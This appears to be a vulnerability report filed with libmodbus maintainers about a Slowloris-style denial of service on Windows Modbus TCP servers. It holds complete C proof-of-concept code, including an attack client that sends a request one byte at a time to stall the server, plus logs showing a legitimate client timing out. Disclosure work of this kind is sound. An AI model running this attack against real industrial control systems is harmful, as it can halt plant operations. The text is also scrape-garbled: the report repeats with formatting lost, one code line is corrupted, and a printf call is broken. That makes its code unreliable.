Hi, thank you for your work on libmodbus; it has been of great help to the ICS field. The details below describe a reproducible issue observed on Windows. Hope this proves helpful.
Versions
libmodbus Specific
Description
This issue reproduces a Slowloris-style DoS on Windows in libmodbus receive handling.
When byte_timeout is disabled, the expected behavior is to enforce a global timeout for receiving a full frame through response/indication timeout handling. However, on Windows, select() does not reliably consume/update the provided timeval in the same way assumed by this receive loop logic. As a result, each iteration waiting for remaining bytes can effectively reuse a full timeout window.
An attacker can keep sending bytes just before timeout expiration and hold the single-threaded server in modbus_receive() for much longer than the configured timeout.
Observed in this reproduction:
- A single slow request of 12 bytes blocks the server for about
16.593s while timeout is configured to 2s.
- During this period,
normal_client request(s) time out.
- Service resumes after the attack connection closes.
Code and Logs
/* ========================= server.c ========================= */
#include <stdio.h>
#include <modbus.h>
#ifdef _WIN32
#include <windows.h>
#else
#include <sys/time.h>
#endif
static long long now_ms(void)
{
#ifdef _WIN32
return (long long) GetTickCount64();
#else
struct timeval tv;
gettimeofday(&tv, NULL);
return (long long) tv.tv_sec * 1000LL + tv.tv_usec / 1000;
#endif
}
int main(void) {
modbus_t *ctx = modbus_new_tcp("127.0.0.1", 1502);
if (ctx == NULL) {
return -1;
}
modbus_set_debug(ctx, 1);
modbus_set_indication_timeout(ctx, 2, 0);
modbus_set_byte_timeout(ctx, 0, 0);
modbus_mapping_t *mb_mapping = modbus_mapping_new(0, 0, 10, 0);
if (mb_mapping == NULL) {
modbus_free(ctx);
return -1;
}
int s = modbus_tcp_listen(ctx, 1);
if (s == -1) {
modbus_mapping_free(mb_mapping);
modbus_free(ctx);
return -1;
}
uint8_t query[MODBUS_TCP_MAX_ADU_LENGTH];
while (1) {
if (modbus_tcp_accept(ctx, &s) == -1) {
continue;
}
while (1) {
long long start_ms = now_ms();
int rc = modbus_receive(ctx, query);
long long duration_ms = now_ms() - start_ms;
if (rc == -1) {
break;
} else if (rc == 0) {
break;
} else {
printf("[!] Received query successfully. Server was blocked for %lld.%03lld ms. (Bypassed the 2-second timeout!)\n", duration_ms);
modbus_reply(ctx, query, rc, mb_mapping);
}
}
modbus_close(ctx);
}
modbus_mapping_free(mb_mapping);
modbus_free(ctx);
return 0;
}
/* ====================== attack_client.c ===================== */
#include <stdio.h>
#include <errno.h>
#include <modbus.h>
#ifdef _WIN32
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#else
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#endif
static void sleep_ms(int ms)
{
#ifdef _WIN32
Sleep(ms);
#else
usleep(ms * 1000);
#endif
}
int main(void)
{
modbus_t *ctx = modbus_new_tcp("127.0.0.1", 1502);
if (ctx == NULL) {
return -1;
}
if (modbus_connect(ctx) == -1) {
modbus_free(ctx);
return -1;
}
int fd = modbus_get_socket(ctx);
int flag = 1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (const char *) &flag, sizeof(flag));
uint8_t raw_req[] = {
0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x01,
0x03, 0x00, 0x00, 0x00, 0x01
};
const int inter_byte_delay_ms = 1500;
for (int i = 0; i < (int) sizeof(raw_req); i++) {
int sent = send(fd, (const char *) &raw_req[i], 1, 0);
if (sent <= 0) {
int err;
#ifdef _WIN32
err = WSAGetLastError();
#else
err = errno;
#endif
fprintf(stderr, "send failed: %d\n", err);
break;
}
sleep_ms(inter_byte_delay_ms);
}
uint8_t rsp[1024];
recv(fd, (char *) rsp, sizeof(rsp), 0);
modbus_close(ctx);
modbus_free(ctx);
return 0;
}
/* ====================== normal_client.c ===================== */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <modbus.h>
#ifdef _WIN32
#include <windows.h>
#else
#include <unistd.h>
#include <sys/time.h>
#endif
static long long now_ms(void)
{
#ifdef _WIN32
return (long long)GetTickCount64();
#else
struct timeval tv;
gettimeofday(&tv, NULL);
return (long long)tv.tv_sec * 1000LL + tv.tv_usec / 1000;
#endif
}
static void sleep_ms(int ms)
{
#ifdef _WIN32
Sleep(ms);
#else
usleep(ms * 1000);
#endif
}
int main(void)
{
const char *ip = "127.0.0.1";
int port = 1502;
for (int step = 1; step <= 2; step++) {
modbus_t *ctx = modbus_new_tcp(ip, port);
if (ctx == NULL) {
fprintf(stderr, "Unable to allocate libmodbus context\n");
return -1;
}
if (modbus_connect(ctx) == -1) {
fprintf(stderr, "[ERR] step %d connect failed: %s\n", step, modbus_strerror(errno));
modbus_free(ctx);
return -1;
}
modbus_set_debug(ctx, TRUE);
if (modbus_set_response_timeout(ctx, 0, 200000) == -1) {
fprintf(stderr,
"[ERR] step %d set_response_timeout failed: %s\n",
step,
modbus_strerror(errno));
modbus_close(ctx);
modbus_free(ctx);
return -1;
}
printf("[+] step %d connected to %s:%d\n", step, ip, port);
uint16_t reg = 0;
long long t0 = now_ms();
int rc = modbus_read_registers(ctx, 0, 1, ®);
long long rtt = now_ms() - t0;
modbus_close(ctx);
modbus_free(ctx);
// printf("[+] step %d disconnected\n", step);
if (step == 1) {
printf("[+] sleeping 20 seconds before reconnect...\n");
sleep_ms(20000);
}
}
return 0;
}
Runtime Logs
$ ./server.exe
Client connection accepted from 127.0.0.1.
Waiting for an indication...
<00><01><00><00><00><06><01><03><00><00><00><01>
[!] Received query successfully. Server was blocked for 16625.012 ms. (Bypassed the 2-second timeout!)
[00][01][00][00][00][05][01][03][02][00][00]
Waiting for an indication...
......
$ ./normal_client.exe
[+] step 1 connected to 127.0.0.1:1502
[00][01][00][00][00][06][FF][03][00][00][00][01]
Waiting for a confirmation...
ERROR timed out: select
[+] sleeping 20 seconds before reconnect...
[+] step 2 connected to 127.0.0.1:1502
[00][01][00][00][00][06][FF][03][00][00][00][01]
Waiting for a confirmation...
<00><01><00><00><00><05><FF><03><02><00><00>
Hi, thank you for your work on libmodbus; it has been of great help to the ICS field. The details below describe a reproducible issue observed on Windows. Hope this proves helpful.
Versions
OS: Windows 11 (MSYS2 UCRT64)
libmodbus: 3.1.12
libmodbus Specific
Server:
127.0.0.1:1502modbus_set_indication_timeout(ctx, 2, 0)Client:
Two clients are used in this PoC.
attack_client(slow-byte sender): uses raw socket APIs (setsockopt,send,recv,WSAGetLastError)normal_client(availability check):This client connects, sends one normal read request, waits 20 seconds, reconnects, and sends another request.
Description
This issue reproduces a Slowloris-style DoS on Windows in libmodbus receive handling.
When
byte_timeoutis disabled, the expected behavior is to enforce a global timeout for receiving a full frame through response/indication timeout handling. However, on Windows,select()does not reliably consume/update the providedtimevalin the same way assumed by this receive loop logic. As a result, each iteration waiting for remaining bytes can effectively reuse a full timeout window.An attacker can keep sending bytes just before timeout expiration and hold the single-threaded server in
modbus_receive()for much longer than the configured timeout.Observed in this reproduction:
16.593swhile timeout is configured to2s.normal_clientrequest(s) time out.Code and Logs
Runtime Logs